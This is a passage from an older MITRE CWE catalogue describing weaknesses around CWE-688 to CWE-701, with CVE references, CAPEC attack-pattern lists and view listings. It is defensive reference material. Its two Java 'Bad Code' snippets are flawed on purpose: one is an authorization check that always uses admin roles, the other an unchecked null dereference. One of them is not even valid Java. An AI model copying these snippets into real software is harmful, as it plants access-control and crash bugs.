Languages
- C
- Perl

Detection Factors
While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers of arguments, such as format strings in C. It also can occur in loosely typed languages or environments. This might require an understanding of intended program behavior or design to determine whether the value is incorrect.

Demonstrative Examples
In the following Java snippet, the accessGranted() method is accidentally called with the static ADMIN_ROLES array rather than the user roles.

Java Example: *Bad Code*

```
private static final String[] ADMIN_ROLES = ...;
public boolean void accessGranted(String resource, String user) {
  String[] userRoles = getUserRoles(user);
  return accessGranted(resource, ADMIN_ROLES);
}
private boolean void accessGranted(String resource, String[] userRoles) {
  // grant or deny access based on user roles
  ...
}
```

Observed Examples
Reference	Description
CVE-2005-2548	Kernel code specifies the wrong variable in first argument, leading to resultant NULL pointer dereference.

Potential Mitigations
Use the function, procedure, routine as specified.

Other Notes
This issue is most likely to occur in rarely-tested code.

Weakness Ordinalities
Primary *(where the weakness exists independent of other weaknesses)*

Relationships
Nature	Type	ID	Name	V	Page
ChildOf	We	628	Function Call with Incorrectly Specified Arguments	**699** **1000**	612

CWE-689: Permission Race Condition During Resource Copy

Compound Element ID: 689 *(Compound Element Base: Composite)* **Status:** Draft

Description
Summary
The product, while copying or cloning a resource, does not set the resource's permissions or access control until the copy is complete, leaving the resource exposed to other spheres while the copy is taking place.

Time of Introduction
- Implementation

Applicable Platforms
Languages
- C

- Perl

Observed Examples

Reference	Description
CVE-2002-0760	Archive extractor decompresses files with world-readable permissions, then later sets permissions to what the archive specified.
CVE-2003-0265	database product creates files world-writable before initializing the setuid bits, leading to modification of executables.
CVE-2005-2174	Product inserts a new object into database before setting the object's permissions, introducing a race condition.
CVE-2005-2475	Archive permissions issue using hard link.
CVE-2006-5214	error file has weak permissions before a chmod is performed.

Other Notes

This is a general issue, although few subtypes are currently known. The most common examples occur in file archive extraction, in which the product begins the extraction with insecure default permissions, then only sets the final permissions (as specified in the archive) once the copy is complete. The larger the archive, the larger the timing window for the race condition. This weakness has also occurred in some operating system utilities that perform copies of deeply nested directories containing a large number of files.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	275	Permission Issues	**699**	302
Requires	W	362	Race Condition	1000	383
ChildOf	W	668	Exposure of Resource to Wrong Sphere	**1000**	658
Requires	W	732	Incorrect Permission Assignment for Critical Resource	1000	721

Research Gaps

Under-studied. It seems likely that this weakness could occur in any situation in which a complex or large copy operation occurs, when the resource can be made available to other spheres as soon as it is created, but before its initialization is complete.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
26	Leveraging Race Conditions
27	Leveraging Race Conditions via Symbolic Links

CWE-690: Unchecked Return Value to NULL Pointer Dereference

Compound Element ID: 690 *(Compound Element Base: Chain)* **Status:** Draft

Description

Summary

The product does not check for an error after calling a function that can return with a NULL pointer if the function fails, which leads to a resultant NULL pointer dereference.

Extended Description

While unchecked return value weaknesses are not limited to returns of NULL pointers (see the examples in CWE-252), functions often return NULL to indicate an error status. When this error condition is not checked, a NULL pointer dereference can occur.

Applicable Platforms

Languages

- C
- C++

Detection Factors

Black Box

This typically occurs in rarely-triggered error conditions, reducing the chances of detection during black box testing.

White Box

Code analysis can require knowledge of API behaviors for library functions that might return NULL, reducing the chances of detection when unknown libraries are used.

Demonstrative Examples

The code below makes a call to the getUserName() function but doesn't check the return value before dereferencing (which may cause a NullPointerException).

Java Example: *Bad Code*

```
String username = getUserName();
if (username.equals(ADMIN_USER)) {
  ...
}
```

Observed Examples

Reference	Description
CVE-2003-1054	URI parsing API sets argument to NULL when a parsing failure occurs, such as when the Referer header is missing a hostname, leading to NULL dereference.
CVE-2006-2555	Parsing routine encounters NULL dereference when input is missing a colon separator.
CVE-2006-6227	Large message length field leads to NULL pointer dereference when malloc fails.
CVE-2008-1052	Large Content-Length value leads to NULL pointer dereference when malloc fails.

Other Notes

A typical occurrence of this weakness occurs when an application includes user-controlled input to a malloc() call. The related code might be correct with respect to preventing buffer overflows, but if a large value is provided, the malloc() will fail due to insufficient memory. This problem also frequently occurs when a parsing routine expects that certain elements will always be present. If malformed input is provided, the parser might return NULL. For example, strtok() can return NULL.

Relationships

Nature	Type	ID	Name	V		Page
ChildOf	We	20	Improper Input Validation	**1000**		14
StartsWith	We	252	Unchecked Return Value	**709**	690	274

Relevant Properties

- Validity

CWE-691: Insufficient Control Flow Management

Weakness ID: 691 *(Weakness Class)* **Status:** Draft

Description

Summary

The code does not sufficiently manage its control flow during execution, creating conditions in which the control flow can be modified in unexpected ways.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Other Notes

This is a fairly high-level concept, although it covers a number of weaknesses in CWE that were more scattered throughout the Research view (CWE-1000) before Draft 9 was released.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	We	*94*	*Failure to Control Generation of Code ('Code Injection')*	*1000*	*110*
ParentOf	We	*248*	*Uncaught Exception*	***1000***	*269*

Nature	Type	ID	Name	V	Page
ParentOf	Weakness	362	Race Condition	1000	383
ParentOf	Weakness	395	Use of NullPointerException Catch to Detect NULL Pointer Dereference	1000	420
ParentOf	Weakness	430	Deployment of Wrong Handler	1000	458
ParentOf	Weakness	431	Missing Handler	1000	459
ParentOf	Weakness	432	Dangerous Handler not Disabled During Sensitive Operations	1000	460
ParentOf	Weakness	479	Unsafe Function Call from a Signal Handler	1000	502
ParentOf	Weakness	600	Failure to Catch All Exceptions in Servlet	1000	588
ParentOf	Weakness	623	Unsafe ActiveX Control Marked Safe For Scripting	1000	607
ParentOf	Weakness	662	Insufficient Synchronization	1000	651
ParentOf	Weakness	670	Always-Incorrect Control Flow Implementation	1000	659
ParentOf	Weakness	674	Uncontrolled Recursion	1000	662
ParentOf	Weakness	696	Incorrect Behavior Order	1000	686
ParentOf	Weakness	705	Incorrect Control Flow Scoping	1000	708
ParentOf	Weakness	749	Exposed Dangerous Method or Function	1000	731
ParentOf	Weakness	768	Incorrect Short Circuit Evaluation	1000	
MemberOf	View	1000	Research Concepts	1000	737

Relevant Properties

- Validity

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 1.2)
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions	

CWE-692: Incomplete Blacklist to Cross-Site Scripting

Compound Element ID: 692 *(Compound Element Base: Chain)* **Status:** Draft

Description

Summary

The product uses a blacklist-based protection mechanism to defend against XSS attacks, but the blacklist is incomplete, allowing XSS variants to succeed.

Applicable Platforms

Languages

- C
- C++
- All

Observed Examples

Reference	Description
CVE-2006-3617	Blacklist only removes <SCRIPT> tag.
CVE-2006-4308	Blacklist only checks "javascript:" tag
CVE-2007-5727	Blacklist only removes <SCRIPT> tag.

Other Notes

While XSS might seem simple to prevent, web browsers vary so widely in how they parse web pages, that a blacklist cannot keep track of all the variations. The "XSS Cheat Sheet" (see references) contains a large number of attacks that are intended to bypass incomplete blacklists.

Relationships

Nature	Type	ID	Name	V		Page
ChildOf	Weakness	20	Improper Input Validation	1000		14
StartsWith	Weakness	184	Incomplete Blacklist	709	692	212

Relevant Properties

- Validity

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 1.2)
18	Embedding Scripts in Nonscript Elements	
19	Embedding Scripts within Scripts	

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
32	Embedding Scripts in HTTP Query Strings	
63	Simple Script Injection	
71	Using Unicode Encoding to Bypass Validation Logic	
80	Using UTF-8 Encoding to Bypass Validation Logic	
85	Client Network Footprinting (using AJAX/XSS)	
86	Embedding Script (XSS) in HTTP Headers	
91	XSS in IMG Tags	

References

S. Christey. "Blacklist defenses as a breeding ground for vulnerability variants". February 2006. < http://seclists.org/fulldisclosure/2006/Feb/0040.html >.

CWE-693: Protection Mechanism Failure

Weakness ID: 693 *(Weakness Class)* **Status:** Draft

Description

Summary

The product does not use a protection mechanism that provides sufficient defense against directed attacks against the product.

Extended Description

This weakness covers three distinct situations. A "missing" protection mechanism occurs when the application does not define any mechanism against a certain class of attack. An "insufficient" protection mechanism might provide some defenses - for example, against the most common attacks - but it does not protect against everything that is intended. Finally, an "ignored" mechanism occurs when a mechanism is available and in active use within the product, but the developer has not applied it in some code path.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Other Notes

This is a fairly high-level concept, although it covers a number of weaknesses in CWE that were more scattered throughout the natural hierarchy before Draft 9 was released.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		254	Security Features	**699**	279
ParentOf		*20*	*Improper Input Validation*	***1000***	*14*
ParentOf		*106*	*Struts: Plug-in Framework not in Use*	***1000***	*124*
ParentOf		*109*	*Struts: Validator Turned Off*	***1000***	*126*
ParentOf		*179*	*Incorrect Behavior Order: Early Validation*	*1000*	*207*
ParentOf		*182*	*Collapse of Data Into Unsafe Value*	***1000***	*210*
ParentOf		*183*	*Permissive Whitelist*	***1000***	*211*
ParentOf		*184*	*Incomplete Blacklist*	***1000***	*212*
ParentOf		*262*	*Not Using Password Aging*	*1000*	*288*
ParentOf		*269*	*Improper Privilege Management*	***1000***	*295*
ParentOf		*284*	*Access Control (Authorization) Issues*	***1000***	*309*
ParentOf		*287*	*Improper Authentication*	***1000***	*312*
ParentOf		*311*	*Failure to Encrypt Sensitive Data*	***1000***	*336*
ParentOf		*326*	*Weak Encryption*	***1000***	*349*
ParentOf		*345*	*Insufficient Verification of Data Authenticity*	***1000***	*367*
ParentOf		*357*	*Insufficient UI Warning of Dangerous Operations*	***1000***	*379*
ParentOf		*358*	*Improperly Implemented Security Check for Standard*	*1000*	*379*
ParentOf		*424*	*Failure to Protect Alternate Path*	*1000*	*451*

Nature	Type	ID	Name	V	Page
ParentOf	We	*521*	*Weak Password Requirements*	***1000***	*537*
ParentOf	We	*565*	*Use of Cookies in Security Decision*	*1000*	*564*
ParentOf	We	*602*	*Client-Side Enforcement of Server-Side Security*	*1000*	*590*
ParentOf	We	*640*	*Weak Password Recovery Mechanism for Forgotten Password*	***1000***	*622*
ParentOf	We	*653*	*Insufficient Compartmentalization*	*1000*	*639*
ParentOf	We	*654*	*Reliance on a Single Factor in a Security Decision*	*1000*	*641*
ParentOf	We	*655*	*Insufficient Psychological Acceptability*	*1000*	*642*
ParentOf	We	*656*	*Reliance on Security through Obscurity*	*1000*	*643*
ParentOf	Wc	*757*	*Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')*	***1000***	*735*
MemberOf	V	*1000*	*Research Concepts*	***1000***	*737*

Research Gaps

The concept of protection mechanisms is well established, but protection mechanism failures have not been studied comprehensively. It is suspected that protection mechanisms can have significantly different types of weaknesses than the weaknesses that they are intended to prevent.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
1	Accessing Functionality Not Properly Constrained by ACLs	
16	Dictionary-based Password Attack	
17	Accessing, Modifying or Executing Executable Files	
20	Encryption Brute Forcing	
22	Exploiting Trust in Client (aka Make the Client Invisible)	
36	Using Unpublished Web Service APIs	
49	Password Brute Forcing	
51	Poison Web Service Registry	
55	Rainbow Table Password Cracking	
56	Removing/short-circuiting 'guard logic'	
57	Utilizing REST's Trust in the System Resource to Register Man in the Middle	
59	Session Credential Falsification through Prediction	
65	Passively Sniff and Capture Application Code Bound for Authorized Client	
70	Try Common(default) Usernames and Passwords	
74	Manipulating User State	
87	Forceful Browsing	
97	Cryptanalysis	

CWE-694: Use of Multiple Resources with Duplicate Identifier

Weakness ID: 694 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The product uses multiple resources that can have the same identifier, in a context in which unique identifiers are required. This could lead to operations on the wrong resource, or inconsistent operations.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

Use unique identifiers.

Other Notes

This weakness is probably closely associated with other issues related to doubling, such as CWE-675 (Duplicate Operations on Resource). It's usually a case of an API contract violation (CWE-227).

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	573	Failure to Follow Specification	**699 1000**	570
ParentOf	Ww	*102*	*Struts: Duplicate Validation Forms*	***1000***	*120*
ParentOf	Wa	*462*	*Duplicate Key in Associative List (Alist)*	***1000***	*483*

Relevant Properties

- Uniqueness

CWE-695: Use of Low-Level Functionality

Weakness ID: 695 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software uses low-level functionality that is explicitly prohibited by the framework or specification under which the software is supposed to operate.

Extended Description

The use of low-level functionality can violate the specification in unexpected ways that effectively disable built-in protection mechanisms, introduce exploitable inconsistencies, or otherwise expose the functionality to attack.

Time of Introduction

- Architecture and Design
- Implementation

Potential Mitigations

Run the application with limited privileges.

Harden the OS to enforce the least privilege principle.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	573	Failure to Follow Specification	**699 1000**	570
ParentOf	Wa	*111*	*Direct Use of Unsafe JNI*	***1000***	*128*
ParentOf	Ww	*245*	*J2EE Bad Practices: Direct Management of Connections*	***1000***	*267*
ParentOf	Ww	*246*	*J2EE Bad Practices: Direct Use of Sockets*	***1000***	*267*
ParentOf	Ww	*383*	*J2EE Bad Practices: Direct Use of Threads*	***1000***	*408*
ParentOf	Ww	*574*	*EJB Bad Practices: Use of Synchronization Primitives*	***699 1000***	*571*
ParentOf	Ww	*575*	*EJB Bad Practices: Use of AWT Swing*	***699 1000***	*571*
ParentOf	Ww	*576*	*EJB Bad Practices: Use of Java I/O*	***699 1000***	*572*

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
36	Using Unpublished Web Service APIs	

CWE-696: Incorrect Behavior Order

Weakness ID: 696 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software performs multiple related behaviors, but the behaviors are performed in the wrong order in ways that produce resultant weaknesses.

Time of Introduction

- Architecture and Design
- Implementation

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	691	Insufficient Control Flow Management	**1000**	682
ChildOf	C	748	CERT C Secure Coding Section 50 - POSIX (POS)	**734**	731
ParentOf	We	*179*	*Incorrect Behavior Order: Early Validation*	***1000***	*207*
ParentOf	We	*408*	*Incorrect Behavior Order: Early Amplification*	***1000***	*437*
ParentOf	We	*551*	*Incorrect Behavior Order: Authorization Before Parsing and Canonicalization*	***1000***	*555*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	POS36-C	Observe correct revocation order while relinquishing privileges

CWE-697: Insufficient Comparison

Weakness ID: 697 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software compares two entities in a security-relevant context, but the comparison is incomplete, leading to resultant weaknesses.

Extended Description

This weakness class covers several possibilities: (1) the comparison checks one factor incorrectly; (2) the comparison should consider multiple factors, but it does not check some of those factors at all.

Time of Introduction

- Implementation

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	171	Cleansing, Canonicalization, and Comparison Errors	**699**	199
ChildOf	C	747	CERT C Secure Coding Section 49 - Miscellaneous (MSC)	**734**	730
ParentOf	We	*183*	*Permissive Whitelist*	*1000*	*211*
ParentOf	We	*184*	*Incomplete Blacklist*	*1000*	*212*
ParentOf	Wc	*185*	*Incorrect Regular Expression*	***1000***	*214*
ParentOf	We	*187*	*Partial Comparison*	***1000***	*216*
ParentOf	We	*372*	*Incomplete Internal State Distinction*	***1000***	*398*
ParentOf	Wv	*478*	*Missing Default Case in Switch Statement*	***1000***	*501*
CanFollow	Wv	*481*	*Assigning instead of Comparing*	*1000*	*504*
ParentOf	Wv	*486*	*Comparison of Classes by Name*	***1000***	*510*
ParentOf	We	*595*	*Comparison of Object References Instead of Object Contents*	***1000***	*585*
ParentOf	We	*596*	*Incorrect Semantic Object Comparison*	***1000***	*585*
MemberOf	V	*1000*	*Research Concepts*	***1000***	*737*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	MSC31-C	Ensure that return values are compared against the proper type

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
4	Using Alternative IP Address Encodings
6	Argument Injection
7	Blind SQL Injection

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
8	Buffer Overflow in an API Call
9	Buffer Overflow in Local Command-Line Utilities
10	Buffer Overflow via Environment Variables
14	Client-side Injection-induced Buffer Overflow
15	Command Delimiters
18	Embedding Scripts in Nonscript Elements
19	Embedding Scripts within Scripts
24	Filter Failure through Buffer Overflow
32	Embedding Scripts in HTTP Query Strings
34	HTTP Response Splitting
41	Using Meta-characters in E-mail Headers to Inject Malicious Payloads
43	Exploiting Multiple Input Interpretation Layers
44	Overflow Binary Resource File
45	Buffer Overflow via Symbolic Links
46	Overflow Variables and Tags
47	Buffer Overflow via Parameter Expansion
52	Embedding NULL Bytes
53	Postfix, Null Terminate, and Backslash
63	Simple Script Injection
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic
66	SQL Injection
67	String Format Overflow in syslog()
71	Using Unicode Encoding to Bypass Validation Logic
73	User-Controlled Filename
78	Using Escaped Slashes in Alternate Encoding
79	Using Slashes in Alternate Encoding
80	Using UTF-8 Encoding to Bypass Validation Logic
86	Embedding Script (XSS) in HTTP Headers
88	OS Command Injection
91	XSS in IMG Tags
92	Forced Integer Overflow

CWE-698: Redirect Without Exit

Weakness ID: 698 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The web application sends a redirect to another location, but instead of exiting, it executes additional code.

Time of Introduction

- Implementation

Detection Factors

Black Box

This issue might not be detected if testing is performed using a web browser, because the browser might obey the redirect and move the user to a different page before the application has produced outputs that indicate something is amiss.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	361	Time and State	**699**	382
ChildOf	Wc	670	Always-Incorrect Control Flow Implementation	1000	659
ChildOf	Wc	705	Incorrect Control Flow Scoping	**1000**	708

CWE-699: Development Concepts

View ID: 699 *(View: Graph)* **Status:** Incomplete

Objective

This view organizes weaknesses around concepts that are frequently used or encountered in software development. Accordingly, this view can align closely with the perspectives of developers, educators, and assessment vendors. It borrows heavily from the organizational structure used by Seven Pernicious Kingdoms, but it also provides a variety of other categories that are intended to simplify navigation, browsing, and mapping.

View Data

View Metrics

	CWEs in this view		Total CWEs
Total	**686**	out of	777
Views	4	out of	22
Categories	64	out of	105
Weaknesses	609	out of	638
Compound_Elements	9	out of	12

View Audience

Assessment Vendors

Developers

Educators

Relationships

Nature	Type	ID	Name	V	Page
HasMember		1	Location	**699**	1
HasMember		504	Motivation/Intent	**699**	528
HasMember	V	629	Weaknesses in OWASP Top Ten (2007)	**699**	613
HasMember	V	631	Resource-specific Weaknesses	**699**	615
HasMember	V	701	Weaknesses Introduced During Design	**699**	690
HasMember	V	702	Weaknesses Introduced During Implementation	**699**	696

CWE-700: Seven Pernicious Kingdoms

View ID: 700 *(View: Graph)* **Status:** Incomplete

Objective

This view (graph) organizes weaknesses using a hierarchical structure that is similar to that used by Seven Pernicious Kingdoms.

View Data

View Metrics

	CWEs in this view		Total CWEs
Total	**96**	out of	777
Views	0	out of	22
Categories	7	out of	105
Weaknesses	87	out of	638
Compound_Elements	2	out of	12

View Audience

Developers

This view is useful for developers because it is organized around concepts with which developers are familiar, and it focuses on weaknesses that can be detected using source code analysis tools.

Alternate Terms

7PK

"7PK" is frequently used by the MITRE team as an abbreviation.

Relationships

Nature	Type	ID	Name	V	Page
HasMember		2	Environment	**700**	1
HasMember	WE	20	Improper Input Validation	**700**	14
HasMember	WE	227	Failure to Fulfill API Contract ('API Abuse')	**700**	254

Nature	Type	ID	Name	V	Page
HasMember		254	Security Features	**700**	279
HasMember		361	Time and State	**700**	382
HasMember		388	Error Handling	**700**	413
HasMember	Wc	398	Indicator of Poor Code Quality	**700**	423
HasMember	Wc	485	Insufficient Encapsulation	**700**	508

CWE-701: Weaknesses Introduced During Design

View ID: 701 *(View: Implicit Slice)* **Status:** Incomplete

Objective

This view (slice) lists weaknesses that can be introduced during design.

View Data

Filter Used:

.//Introductory_Phase='Architecture and Design'

View Metrics

	CWEs in this view		Total CWEs
Total	**352**	out of	777
Views	0	out of	22
Categories	2	out of	105
Weaknesses	345	out of	638
Compound_Elements	5	out of	12

CWEs Included in this View

Type	ID	Name
Wv	6	J2EE Misconfiguration: Insufficient Session-ID Length
Wv	7	J2EE Misconfiguration: Missing Custom Error Page
Wv	8	J2EE Misconfiguration: Entity Bean Declared Remote
Wv	9	J2EE Misconfiguration: Weak Access Permissions for EJB Methods
Wv	13	ASP.NET Misconfiguration: Password in Configuration File
Wc	20	Improper Input Validation
Wv	24	Path Traversal: '../filedir'
Wa	36	Absolute Path Traversal
Wa	66	Improper Handling of File Names that Identify Virtual Resources
Wv	67	Improper Handling of Windows Device Names
Wv	69	Failure to Handle Windows ::DATA Alternate Data Stream
Wv	71	Apple '.DS_Store'
Wv	72	Failure to Handle Apple HFS+ Alternate Data Stream Path
Wc	73	External Control of File Name or Path
Wc	74	Failure to Sanitize Data into a Different Plane (aka 'Injection')
Wc	75	Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)
Wa	76	Failure to Resolve Equivalent Special Elements into a Different Plane
Wc	77	Failure to Sanitize Data into a Control Plane (aka 'Command Injection')
Wa	78	Failure to Preserve OS Command Structure (aka 'OS Command Injection')
Wa	79	Failure to Preserve Web Page Structure (aka 'Cross-site Scripting')
Wv	84	Failure to Resolve Encoded URI Schemes in a Web Page
Wa	88	Argument Injection or Modification
Wa	89	Failure to Preserve SQL Query Structure (aka 'SQL Injection')
Wa	90	Failure to Sanitize Data into LDAP Queries (aka 'LDAP Injection')
Wa	91	XML Injection (aka Blind XPath Injection)
Wa	92	Insufficient Sanitization of Custom Special Characters
Wa	93	Failure to Sanitize CRLF Sequences (aka 'CRLF Injection')
Wc	94	Failure to Control Generation of Code (aka 'Code Injection')
Wa	95	Insufficient Control of Directives in Dynamically Evaluated Code (aka 'Eval Injection')
Wa	96	Insufficient Control of Directives in Statically Saved Code (Static Code Injection)
Wa	97	Failure to Sanitize Server-Side Includes (SSI) Within a Web Page
Wa	99	Insufficient Control of Resource Identifiers (aka 'Resource Injection')
Wc	100	Technology-Specific Input Validation Problems

Type	ID	Name
	115	Misinterpretation of Input
	116	Improper Encoding or Escaping of Output
	118	Improper Access of Indexable Resource (aka 'Range Error')
	119	Failure to Constrain Operations within the Bounds of a Memory Buffer
	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
	121	Stack-based Buffer Overflow
	122	Heap-based Buffer Overflow
	124	Boundary Beginning Violation ('Buffer Underwrite')
	130	Improper Handling of Length Parameter Inconsistency
	184	Incomplete Blacklist
	188	Reliance on Data/Memory Layout
	198	Use of Incorrect Byte Ordering
	200	Information Leak (Information Disclosure)
	202	Privacy Leak through Data Queries
	203	Discrepancy Information Leaks
	204	Response Discrepancy Information Leak
	205	Behavioral Discrepancy Information Leak
	206	Internal Behavioral Inconsistency Information Leak
	207	External Behavioral Inconsistency Information Leak
	208	Timing Discrepancy Information Leak
	209	Error Message Information Leak
	210	Product-Generated Error Message Information Leak
	211	Product-External Error Message Information Leak
	212	Cross-boundary Cleansing Information Leak
	213	Intended Information Leak
	214	Process Environment Information Leak
	215	Information Leak Through Debug Information
	216	Containment Errors (Container Errors)
	217	Failure to Protect Stored Data from Modification
	220	Sensitive Data Under FTP Root
	221	Information Loss or Omission
	222	Truncation of Security-relevant Information
	223	Omission of Security-relevant Information
	224	Obscured Security-relevant Information by Alternate Name
	226	Sensitive Information Uncleared Before Release
	227	Failure to Fulfill API Contract (aka 'API Abuse')
	228	Improper Handling of Syntactically Invalid Structure
	229	Improper Handling of Values
	231	Improper Handling of Extra Values
	232	Improper Handling of Undefined Values
	233	Parameter Problems
	234	Failure to Handle Missing Parameter
	235	Improper Handling of Extra Parameters
	236	Improper Handling of Undefined Parameters
	238	Improper Handling of Incomplete Structural Elements
	239	Failure to Handle Incomplete Element
	240	Improper Handling of Inconsistent Structural Elements
	241	Improper Handling of Unexpected Data Type
	245	J2EE Bad Practices: Direct Management of Connections
	246	J2EE Bad Practices: Direct Use of Sockets
	247	Reliance on DNS Lookups in a Security Decision
	250	Execution with Unnecessary Privileges
	256	Plaintext Storage of a Password
	257	Storing Passwords in a Recoverable Format
	258	Empty Password in Configuration File
	259	Hard-Coded Password
	260	Password in Configuration File

Type	ID	Name
	261	Weak Cryptography for Passwords
	262	Not Using Password Aging
	263	Password Aging with Long Expiration
	266	Incorrect Privilege Assignment
	267	Privilege Defined With Unsafe Actions
	268	Privilege Chaining
	269	Insecure Privilege Management
	270	Privilege Context Switching Error
	271	Privilege Dropping / Lowering Errors
	272	Least Privilege Violation
	273	Improper Check for Successfully Dropped Privileges
	274	Failure to Handle Insufficient Privileges
	276	Insecure Default Permissions
	277	Insecure Inherited Permissions
	278	Insecure Preserved Inherited Permissions
	279	Insecure Execution-assigned Permissions
	280	Improper Handling of Insufficient Permissions or Privileges
	281	Permission Preservation Failure
	282	Improper Ownership Management
	283	Unverified Ownership
	284	Access Control (Authorization) Issues
	285	Improper Access Control (Authorization)
	286	Incorrect User Management
	287	Improper Authentication
	288	Authentication Bypass Using an Alternate Path or Channel
	289	Authentication Bypass by Alternate Name
	290	Authentication Bypass by Spoofing
	291	Trusting Self-reported IP Address
	292	Trusting Self-reported DNS Name
	293	Using Referer Field for Authentication
	294	Authentication Bypass by Capture-replay
	296	Improper Following of Chain of Trust for Certificate Validation
	297	Improper Validation of Host-specific Certificate Data
	298	Improper Validation of Certificate Expiration
	299	Improper Check for Certificate Revocation
	300	Channel Accessible by Non-Endpoint (aka 'Man-in-the-Middle')
	301	Reflection Attack in an Authentication Protocol
	302	Authentication Bypass by Assumed-Immutable Data
	304	Missing Critical Step in Authentication
	305	Authentication Bypass by Primary Weakness
	306	No Authentication for Critical Function
	307	Failure to Restrict Excessive Authentication Attempts
	308	Use of Single-factor Authentication
	309	Use of Password System for Primary Authentication
	311	Failure to Encrypt Sensitive Data
	312	Cleartext Storage of Sensitive Information
	313	Plaintext Storage in a File or on Disk
	314	Plaintext Storage in the Registry
	315	Plaintext Storage in a Cookie
	316	Plaintext Storage in Memory
	317	Plaintext Storage in GUI
	318	Plaintext Storage in Executable
	319	Cleartext Transmission of Sensitive Information
	321	Use of Hard-coded Cryptographic Key
	322	Key Exchange without Entity Authentication
	323	Reusing a Nonce, Key Pair in Encryption
	324	Use of a Key Past its Expiration Date

Type	ID	Name
Wk	325	Missing Required Cryptographic Step
Wk	326	Weak Encryption
Wk	327	Use of a Broken or Risky Cryptographic Algorithm
Wk	328	Reversible One-Way Hash
Wk	329	Not Using a Random IV with CBC Mode
Wk	330	Use of Insufficiently Random Values
Wk	331	Insufficient Entropy
Wk	332	Insufficient Entropy in PRNG
Wk	333	Failure to Handle Insufficient Entropy in TRNG
Wk	334	Small Space of Random Values
Wk	335	PRNG Seed Error
Wk	336	Same Seed in PRNG
Wk	337	Predictable Seed in PRNG
Wk	338	Use of Cryptographically Weak PRNG
Wk	339	Small Seed Space in PRNG
Wk	340	Predictability Problems
Wk	341	Predictable from Observable State
Wk	342	Predictable Exact Value from Previous Values
Wk	343	Predictable Value Range from Previous Values
Wk	344	Use of Invariant Value in Dynamically Changing Context
Wk	345	Insufficient Verification of Data Authenticity
Wk	346	Origin Validation Error
Wk	347	Improperly Verified Signature
Wk	348	Use of Less Trusted Source
Wk	349	Acceptance of Extraneous Untrusted Data With Trusted Data
Wk	350	Improperly Trusted Reverse DNS
Pl	352	Cross-Site Request Forgery (CSRF)
Wk	353	Failure to Add Integrity Check Value
Wk	354	Improper Validation of Integrity Check Value
Wk	356	Product UI does not Warn User of Unsafe Actions
Wk	357	Insufficient UI Warning of Dangerous Operations
Wk	358	Improperly Implemented Security Check for Standard
Wk	359	Privacy Violation
Wk	360	Trust of System Event Data
Wk	362	Race Condition
Wk	363	Race Condition Enabling Link Following
Wk	364	Signal Handler Race Condition
Wk	366	Race Condition within a Thread
Wk	368	Context Switching Race Condition
Wk	370	Race Condition in Checking for Certificate Revocation
Wk	372	Incomplete Internal State Distinction
Wk	373	State Synchronization Error
Wk	377	Insecure Temporary File
Wk	378	Creation of Temporary File With Insecure Permissions
Wk	379	Creation of Temporary File in Directory with Insecure Permissions
Wk	383	J2EE Bad Practices: Direct Use of Threads
Pl	384	Session Fixation
Wk	385	Covert Timing Channel
Wk	386	Symbolic Name not Mapping to Correct Object
Wk	390	Detection of Error Condition Without Action
Wk	391	Unchecked Error Condition
Wk	392	Failure to Report Error in Status Code
Wk	393	Return of Wrong Status Code
Wk	394	Unexpected Status Code or Return Value
Wk	396	Declaration of Catch for Generic Exception
Wk	397	Declaration of Throws for Generic Exception
Wk	398	Indicator of Poor Code Quality

Type	ID	Name
	400	Uncontrolled Resource Consumption (aka 'Resource Exhaustion')
	401	Failure to Release Memory Before Removing Last Reference (aka 'Memory Leak')
	402	Transmission of Private Resources into a New Sphere (aka 'Resource Leak')
	403	UNIX File Descriptor Leak
	404	Improper Resource Shutdown or Release
	405	Asymmetric Resource Consumption (Amplification)
	406	Insufficient Control of Network Message Volume (Network Amplification)
	407	Algorithmic Complexity
	408	Incorrect Behavior Order: Early Amplification
	409	Failure to Handle Highly Compressed Data (Data Amplification)
	410	Insufficient Resource Pool
	412	Unrestricted Lock on Critical Resource
	413	Insufficient Resource Locking
	414	Missing Lock Check
	415	Double Free
	416	Use After Free
	419	Unprotected Primary Channel
	420	Unprotected Alternate Channel
	421	Race Condition During Access to Alternate Channel
	422	Unprotected Windows Messaging Channel ('Shatter')
